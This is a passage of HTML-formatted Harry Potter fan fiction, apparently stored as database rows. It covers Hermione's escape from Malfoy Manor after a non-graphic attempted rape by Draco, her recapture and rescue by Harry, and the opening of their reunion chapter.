head and started crying.&nbsp;\nWithin that night, Draco Malfoy was going to come rape her, and have her\ncarry his child.&nbsp; The thought was\nhorrifying and Hermione couldn\'t help but think about Harry.&nbsp; The boy she loved was still her anchor of\nhope, but as she lay there thinking about was going to happen within a few\nhours, that she was going to lose her virginity to someone she absolutely\ndespised, she started to despair.&nbsp; She\nwhispered, &quot;Harry...&quot; over and over again.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">After a very short\ntwo hours, Draco entered the room, locking the door behind him.&nbsp; Hermione started shivering underneath her\ncovers.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I can make\nit a lot easier if you\'d only accept the inevitable,&quot; he said.&nbsp; When Hermione said nothing, Draco simply\nsaid, &quot;Well I guess I\'m going to have to do this the hard way.&nbsp; Of course, I could just use the Imperious\nCurse, but this way is more fun.&quot;&nbsp;\nHe yanked the covers off of Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;NO!&quot;\nshe screamed.&nbsp; Draco pressed his body\nonto hers and kissed her strongly.&nbsp; Hermione\nstarted to beat at him with her fists and struggle underneath him.&nbsp; Tears were now falling freely.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Now, now,\nit\'ll be over before you know it,&quot; said Draco with a lust filled\ngrin.&nbsp; He started to unbutton her\nnightgown.&nbsp; However, he abruptly stopped\nwhen he found a wand pointed to his face.&nbsp;\nHis wand, he realized.&nbsp; Hermione\nhad pulled Draco\'s wand out of his robes!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Don\'t think\nI\'m that easy,&quot; she hissed.&nbsp; Draco\nwas speechless, his eyes wide with astonishment as Hermione shouted, <i>&quot;Stupefy!&quot;</i>&nbsp; Draco slumped off the bed unconscious.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione took a\nfew moments to catch her breath.&nbsp; She\nwas still shaken about what had nearly happened, but she was relieved that she\nwas able to fight Draco off.&nbsp; \'I need to\nget out of here,\' she thought.&nbsp; Now that\nshe had a wand, her abilities at transport were greatly improved.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">She pointed the\nwand at herself and said, <i>&quot;Mobilicorpus.&quot;</i>&nbsp; Hermione\'s body slowly levitated into the\nair.&nbsp; She tried moving around a little\nand satisfied to find it a lot easier than moving in a wheelchair though not as\ngood as walking.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione made her\nway to the door and said, <i>&quot;Alohomora.&quot;</i>&nbsp; The door swung open and Hermione levitated\nherself out.&nbsp;&nbsp; She dearly wished she had\nHarry\'s invisibility cloak with her as she started to make her way through the\ncorridors.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Luckily, Hermione\nhad memorized the way they had entered from and was positive that she could\nmake her way out of the manor without getting lost.&nbsp; She prayed that the corridors didn\'t move around like they did at\nHogwarts.&nbsp; She was currently on the\nfourth floor and she needed to take the back steps to get to the main\nentrance.&nbsp; She also knew that she had a\nslight advantage since she had Draco\'s wand to open certain doors.&nbsp; The wand would prevent alarms from\nsounding.&nbsp; Also the fact that she had no\nlegs, and was rather levitating above the ground was a bonus since she was less\nlikely to run into booby traps.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione managed\nto make her way to the first floor without running into anybody.&nbsp; It was clear that the Dark Lord had already\ngone back to Parselrock along with most of his Death Eaters.&nbsp; The manor was therefore mostly empty.&nbsp; Still, Hermione didn\'t want to take chances.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Finally, Hermione\nmanaged to make it to the main corridor that led to the Main Entrance of the\nmanor.&nbsp; Before she could get to the main\nentrance however, Hermione felt a presence and hurriedly floated herself into a\ncorner.&nbsp; Just in time too as the\nCruciatus Curse came whizzing past her!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">It was\nIcicle.&nbsp; &quot;You will not escape, my\nlittle mudblood,&quot; she yelled.&nbsp;\n&quot;You will carry our master\'s heir, whether you like it or\nnot!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione stuck her\nwand out and yelled, <i>&quot;Expelliarmus!&quot;</i>&nbsp; Unfortunately, she couldn\'t get a good aim at Icicle.&nbsp; Icicle fired another Cruciatus Curse and\nHermione had to pull her arm back to avoid it.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">\'Think Hermione,\nyou can get out of this mess somehow,\' thought Hermione.&nbsp; She glanced around at an elegant mirror that\nwas hanging on the other side of the corridor.&nbsp;\n\'Maybe if I can lure her reflection into that mirror.\'</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Icicle was suddenly\nstartled to see Hermione fly out of the corridor toward the main entrance.&nbsp; She gave chase and fired the Cruciatus Curse\nat her, bringing her reflection into the mirror.&nbsp; Her eyes went wide however, when &quot;Hermione&quot; disappeared\nin a wist of smoke as the curse hit her!&nbsp;\nIt was a decoy charm.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The real Hermione,\nwho was still in the corner, yelled, <i>&quot;Stupefy!&quot;</i>&nbsp; The stunner rebounded off the mirror and hit\nIcicle.&nbsp; She fell unconscious with a\nscream.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione breathed\na sigh of relief.&nbsp; She flew herself toward\nthe main entrance and pushed the doors open.&nbsp;\n\'This is it,\' she thought.&nbsp; \'Now,\nif only I can manage to get to Hogwarts.\'&nbsp;\nHermione dearly wished she knew how to apparate.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">There were still a\nlot of traps in the front yard of Malfoy Manor.&nbsp; Since she had no legs, Hermione knew that she wouldn\'t be in\ndanger of stepping on anything and setting a trap off.&nbsp; Still, she had to be very careful, and she\ngently flew herself toward the front gates, about a hundred yards away.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">It was a slow and\ntedious process, but finally, Hermione made it to the front gates.&nbsp; She couldn\'t help but smile as she realized\nthat she was now at the final obstacle.&nbsp;\nShe knew that anybody who tried to trespass the gates that was not a\nMalfoy or a Death Eater would be killed.&nbsp;\nThe same thing would happen if she tried to levitate herself over the\ngate or fence.&nbsp; She prayed that Draco\'s\nwand would be good enough as she raised it and whispered, <i>&quot;Alohomora.&quot;</i>&nbsp; To her extreme relief, the gate swung open.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">\'I\'m free!\' she\nthought, a huge smile on her face.&nbsp; She\nfloated out of the gate when a voice called out, <i>&quot;Expelliarmus!&quot;</i>&nbsp; Hermione was horrified as the wand flew out\nof her hand!&nbsp; Having lost her magical\nlevitation, Hermione fell to the ground.&nbsp;\nShe groaned in pain and looked up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Lucius Malfoy had\nfired the disarmer.&nbsp; He now carried the\nwand and was looking livid.&nbsp; &quot;You\nwon\'t escape, mudblood!&quot; he yelled.&nbsp;\n&quot;You will carry my grandchild, even if I have to witness the event\nand make sure it takes place!&quot;&nbsp;\nDraco came forward from behind Lucius looking furious.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermiobe screamed,\n&quot;NO!&quot;&nbsp; She had been so close\nto escaping, only to be caught again at the last minute.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Yes,&quot;\nhissed Draco.&nbsp; &quot;Why not finish the\njob right here, right now?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;NO!&nbsp; Please!&quot; begged Hermione.&nbsp; Tears started flowing from her eyes again as\nDraco pinned her.&nbsp; Hermione started\nsobbing, as she realized that there was no escape this time, with Lucius\nwatching over them.&nbsp; She closed her eyes\nand tried to brace herself for the coming torture.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Get\nready,&quot; hissed Draco.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&quot;Stupefy!&quot;</i>&nbsp;\nSuddenly, Lucius was hit by a stunner and was rendered unconscious!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;What?&quot;&nbsp; Draco whipped around and was horrified to\nfind himself at wand tip of a raging young wizard.&nbsp; A wizard with scarlet robes that had a golden image of a lion on\nits torso, a black belt, white trousers, a white undershirt, black dragon hide\ngloves, black dragon hide boots, a black cloak worn like a cape, messy raven\nblack hair sticking out from beneath a tattered black hat, emerald green eyes\nbehind a pair of rimless glasses, and a scar on his forehead in the shape of a\nlightning bolt.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Don\'t...even...think...about\nit!&quot; hissed Harry Potter.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N Oh dear, I\nsure hope none of you are going to hate me for what nearly happened in this\nchapter.&nbsp; There was no actual rape but\nthere was attempted rape...yeesh, I\'m scared of my own writing.&nbsp; Well, at least I brought Harry and Hermione\nback together.&nbsp; So tune in next chapter\nbecause it\'s probably going to be the fluffiest chapter of this entire fic.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(146, 9, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&quot;Listen!&nbsp; My lover!&nbsp;\nLook!&nbsp; Here he comes, leaping\nacross the mountains, bounding over the hills.&quot;</i></p>\n\n<i>Song of Songs 2:8</i>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><b>Chapter 9:\nReunited</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><b>&nbsp;</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&quot;Stupefy!&quot;</i>&nbsp; Draco\nslumped unconscious.&nbsp; Still feeling a\nlittle frightened, Hermione wearily glanced up at the young wizard.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;H...Harry?&quot;\nshe whispered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">It was Harry all\nright.&nbsp; He looked a looked older,\nstronger, and far more confident than when Hermione had last seen him two years\npreviously.&nbsp; Harry slowly turned and\ngazed down at her, his emerald green eyes still as mesmerizing as Hermione remembered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Hermione...&quot;\nhe said.&nbsp; His eyes glanced down to her\nlegs or rather, her lack of legs.&nbsp; He\ngasped and clutched his chest.&nbsp; &quot;Oh\nmy God...&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">The first thought that crossed Hermione\'s mind was, \'He\'s going to reject\nme. He\'s going to reject me because I\'m a freak!&nbsp; I\'m a legless freak!&nbsp; Oh\nHarry...\' Hermione buried her face in her hands and burst into tears.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">Far from rejecting her however, Harry kneeled right next to Hermione and\npulled her into a strong hug.&nbsp; He\nwhispered, &quot;I\'m so sorry.&nbsp; I should\'ve\nbeen here.&nbsp; I\'m so sorry,&quot; over and\nover again, tears starting to fall from his eyes.&nbsp; Overcome with relief that Harry wasn\'t going to reject her, and\nan even stronger joy of being back in Harry\'s arms again after such a long\ntime, Hermione threw her arms around Harry\'s neck and cried full out on his\nshoulder.&nbsp; After remaining in that\nposition for about a minute, Harry gently picked Hermione up and carried her to\nhis broomstick nearby, Hermione\'s arms still wrapped around Harry\'s neck.&nbsp; She was afraid that if she ever let Harry go\nagain, he would disappear from her forever.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">Harry\'s Firebolt took off into the air, flying away from Malfoy Manor.&nbsp; Hermione was seated in front of Harry,\nfacing him and still crying into his shoulder and her arms wrapped around\nHarry\'s neck.&nbsp; Harry had his left arm\nwrapped tightly around Hermione while his right steered the broomstick.&nbsp; They flew away into the night.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">The sun shone through the window, illuminating a sleeping Hermione\'s\nface.&nbsp; Harry sighed as the light gave\nher an angelic glow.&nbsp; \'She\'s become even\nmore beautiful than I remember,\' he thought.&nbsp;\nSure she had no legs, but that didn\'t matter for how Harry felt for\nher.&nbsp; It still broke his heart to see\nher without any legs since it was a symbol of how much she had suffered while\nhe had been away.&nbsp; Harry silently cursed\nhimself for not being able to be next to Hermione when she needed him the most.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">They were in a hidden bunker near Liverpool that kept them hidden from the\nDeath Eaters.&nbsp; Hermione was sleeping\npeacefully on a comfortable bed, her nightgown fully repaired.&nbsp; Harry was sitting in an armchair right next\nto the bed.&nbsp; He was wearing his usual\nclothes, with the exception of his hat and gloves.&nbsp; He gently stroked Hermione\'s bangs and kissed her forehead.&nbsp; Hermione\'s eyes fluttered open.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&quot;It wasn\'t a dream,&quot; she said, a smile forming on her face and\nher eyes watering up.&nbsp; &quot;You really\nare here.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&quot;And I always will be from now on,&quot; said Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&quot;Thank you for saving me.&nbsp; The thought\nof what might have happened if you hadn\'t shown up then scares me.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&quot;You\'re welcome,&quot; said Harry as he started to stroke her golden\nbrown hair.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&quot;How did you find me?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">Harry grinned and pulled out the bracelet with the three gems.&nbsp; He explained to her what it did.&nbsp; &quot;While you were in Europe and I was\nhere in Britain,&quot; he said, &quot;the dark magic was too strong for me to\nactually figure out where you were.&nbsp;\nHowever, when Malfoy brought you back to England, you were actually\nclose enough for me to be able to trace you to where you were.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">Hermione smiled at Harry as he put the bracelet away.&nbsp; He cupped her cheek with a smile on his\nface.&nbsp; The smile faded away into a look\nof concern.&nbsp; &quot;Hermione, what\nhappened to you?&quot;&nbsp; He briefly\nglanced down at her missing legs before he turned his attention back to her\nface.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">Hermione sighed and explained everything that had happened to her from the\nmoment Harry had disappeared two years ago.&nbsp;\nHarry held onto her hand and squeezed hard when Hermione mentioned the time\nwhen she first woke up and realized she had no legs.&nbsp; Finally, Hermione had finished, tears still streaming down her\nface.&nbsp; Harry sat next to her on the bed\nand gently cradled Hermione\'s head as Hermione leaned on Harry\'s chest.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&quot;I\'m so sorry, Hermione,&quot; said Harry.&nbsp; &quot;I should\'ve been there with you.&nbsp; If only I was here, none of this would\'ve happened.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">Hermione said nothing.&nbsp; A part of\nher wanted to accuse him of that being true, but for now she was so happy to be\nwith Harry again that she didn\'t want to accuse him of anything.&nbsp; Still, there was something she needed to\nfind out.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&quot;Harry, where were you these past two years?&quot;&nbsp; She glanced into his emerald eyes, her\ncinnamon ones burning with her question.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&quot;I was in the Himalayas,&quot; said Harry with a matter of fact\ntone.&nbsp; Hermione\'s eyes widened in\nsurprise as the gears in her head started turning.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&quot;You\'re a Battle Wizard?&quot; she asked.&nbsp; Harry grinned.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&quot;I guess it\'s always up to you to put two and two together,&quot; he\nsaid.&nbsp; &quot;So, you know what a Battle\nWizard is.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">Hermione nodded.&nbsp; &quot;Of course,\nI\'ve read about them in many books including \'Hogwarts: A History\'.&quot;&nbsp; Her eyes started to shine with concern.&nbsp; &quot;Are you really a Battle\nWizard?&quot;&nbsp; Harry nodded.&nbsp; &quot;Can you do all the things they\'re\nrumored to do?&quot;&nbsp; She swallowed and\nwhispered, &quot;Can you temporarily raise the dead?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" 